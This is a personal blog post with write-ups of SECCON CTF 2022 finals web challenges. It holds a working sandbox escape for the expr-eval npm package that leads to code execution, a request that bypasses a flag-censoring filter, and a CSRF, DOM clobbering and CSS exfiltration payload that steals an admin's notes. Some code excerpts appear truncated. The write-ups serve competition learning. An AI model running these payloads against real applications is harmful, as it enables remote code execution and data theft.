SECCON CTF 2022 Finals

Winning SECCON Finals, writeups, and some Tokyo pictures.

SECCON CTF 2022 Finals

My CTF team, DiceGang, qualified for SECCON'22 finals and I got the chance to go to Tokyo to play in the finals on-site. We ended up winning first place out of the 10 teams there!

Here are some challenge writeups:


web (? solves)

In this challenge, you essentially had to get RCE via the latest version of the nodejs package expr-eval.

const { Parser } = require("expr-eval");

const expr = process.argv[2].trim();
console.log(new Parser().evaluate(expr));

There were no known vulnerabilities or Github issues for code execution, so this was a 0day!

However, scrolling through issues, we do see an interesting one:

Possible Prototype Pollution · Issue #251 · silentmatt/expr-eval
I have found a possible prototype pollution vuln in this package. With speficific input attckers can define properties on prototype, which will lead to prototype pollution. Also I have made a tiny ...

Which shows us that we can get a reference to Object via constructor, and call methods on Object!

Using other useful functions on Object , we can create a new Function and call it.

Object=constructor; proto=Object.getPrototypeOf; pd=Object.getOwnPropertyDescriptor; wtf=pd(proto(sin), 'constructor'); func=wtf.value; func('console.log(1)')()

From here, we can essentially eval() anything, and can easily create a reverse shell using other NodeJS RCE payloads.


web (? solves)

In this challenge, we need to read the /flag.txt file on the FS. The only endpoint gives us arbitrary file read via curl'ing a file:// URI, but there's a middleware in place that censors the output if /SECCON{\w+}/ is in the output.

const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";

app.use(async (ctx) => {
  const path = decodeURI(ctx.path.slice(1)) || "index.html";
  try {
    const proc = await execFile(
      { timeout: 1000 }
    ctx.type = "text/html; charset=utf-8";
    ctx.body = proc.stdout;
  } catch (err) {
    ctx.body = err;


This challenge left me stumped for a while, I thought we needed to find a way to get curl to encode the output somehow s.t. SECCON wouldn't appear in plaintext.

Eventually, I started to focus on the error handling. If  execFile threw an error, a JSON object of the error is sent as a response:

{"code":37,"killed":false,"signal":null,"cmd":"curl file:///app/public/../../wtf","stdout":"","stderr":"curl: (37) Couldn't open file /wtf\n"}

The relevant fields in the error object were code,stdout,stderr. After thinking about it, I started to wonder what happens if we make a very large stdout or stderr – would it be truncated at all?

The regex only censors the output if there's a closing brace as well, so if we can get it to truncate, it won't be censored!

It turns out, if execFile produces a large STDOUT, it throws an error code ERR_CHILD_PROCESS_STDIO_MAXBUFFER. So, we simply need to get curl to fill STDOUT with garbage, add the flag to the end, such that the closing flag brace goes past the MAXBUFFER size.

To fill STDOUT with garbage, we can use large existing files on the system. etc/ca-certificates.conf ended up working well.

python3 -c 'print("GET /../../{" + "etc/ca-certificates.conf,"*183+"a"*1385+"/../flag.txt} HTTP/1.0\r\n")' | nc 3000


web (0 solves)

I unfortunately didn't solve light-note during the CTF, but figured it out shortly after.

light-note is a simple note taking app. A user can create and delete notes, and notes are stored in the user's session server side. There's an admin bot that creates a note with the flag in it, then visits the provided URL.

The overall exploitation path in this challenge was fairly obvious, but figuring out how to exploit it was difficult. The admin is vulnerable to CSRF, so we can use that to create notes, and we need to gain XSS to read and exfiltrate the admin's notes.

In the webpage (index.html), the following code is used to load and render notes.

    const write = async (element, input) => {
      try {
        element.setHTML(input, {
          sanitizer: new Sanitizer({ dropElements: ["link", "style"] })
      } catch (e) {
        await import("DOMPurify").then(({ default: DOMPurify }) => {
          // fallback: Firefox does not support Sanitizer API yet.
          element.innerHTML = DOMPurify.sanitize(input);
        }).catch((e) => {
          // fallback: Safari does not support import maps :(
          element.innerHTML = input.replace(/[<>'"&]/, "");

    const refresh = async () => {
      const notes = await fetch("/api/notes").then(r => r.json());

      const root = document.getElementById("notes");
      root.innerHTML = "";
      for (const [index, note] of Object.entries(notes)) {
        const elm = document.getElementById("noteTmpl").content.cloneNode(true);
        write(elm.querySelector(".note"), note);
        elm.querySelector(".delete").addEventListener("click", async () => {
          await deleteNote(index);
          await refresh();
client code in index.html

noteTmpl is a template tag, which contains an HTML template for a note:

<template id="noteTmpl">
        <ul><li class="note" style="word-break: break-all;"></li></ul>
        <ul><li><a href="#" role="button" class="delete secondary">Delete</a></li></ul>
#noteTmpl in index.html

The first bug I noticed – in the Safari fallback for write(), the .replace() call does not have the /g flag, so only the first match is replaced. So, I figured that we need to create a note s.t. the HTMLSanitizer API and DOMPurify both throw errors.

I spent a lot of time and trial and error on this, but I couldn't find any way to get either HTMLSanitizer or DOMPurify to throw an error on controlled input.

Ultimately, I realized we can cause the first try-catch to throw an error by utilizing DOM clobbering!

Also, we can avoid needing to get DOMPurify to throw an error, because DOMPurify's default configuration allows for <style> tags, and we can use CSS-based text exfiltration to retrieve the first note (font ligature technique)

Figuring out exactly how to DOM clobber setHTML here was still difficult, because we can't have nested <form> tags, and we need another nested property access inside of .note. The solution was to use the form= attribute to avoid putting any element inside <form>, but still clobber $(noteTmpl).content

<form id=noteTmpl></form>
<button name=content form=noteTmpl>
    <form class="note delete">
        <input name="setHTML">
DOM clobber setHTML (note 1)

Now, .setHTML() will throw an error because it's been clobbered with undefined and is not a function, so our next note will be processed by DOMPurify instead.

input,div,a,h2,p,button,article:nth-child(2) { display: none !important; }
article { margin: 0px; padding: 0px; }
<style>@import url('')</style>
CSS text exfiltration (note 2)

Full solution:

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8" />
    <form action="http://localhost:3000/api/notes/create" method="POST">
      <input id="note" name="note" />

      sleep = (ms=50) => new Promise((res) => setTimeout(res, ms));
      create = (function (note) {
        window.note.value = note;
      (async () => {
        if ( !== "?ok") {
          w1 ="/?ok");
          await sleep();
            `<form id=noteTmpl></form><button name=content form=noteTmpl><form class="note delete"><input name="setHTML"></form></button>`

          w2 ="/?ok");
          await sleep();
            `A<style>input,div,a,h2,p,button,article:nth-child(2) {display: none !important;} article {margin: 0px; padding: 0px;}</style><style>@import url('')</style>a`

          w3 ="http://localhost:3000/");
payload html

IRL Pics

Tokyo was a lot of fun! here's some pictures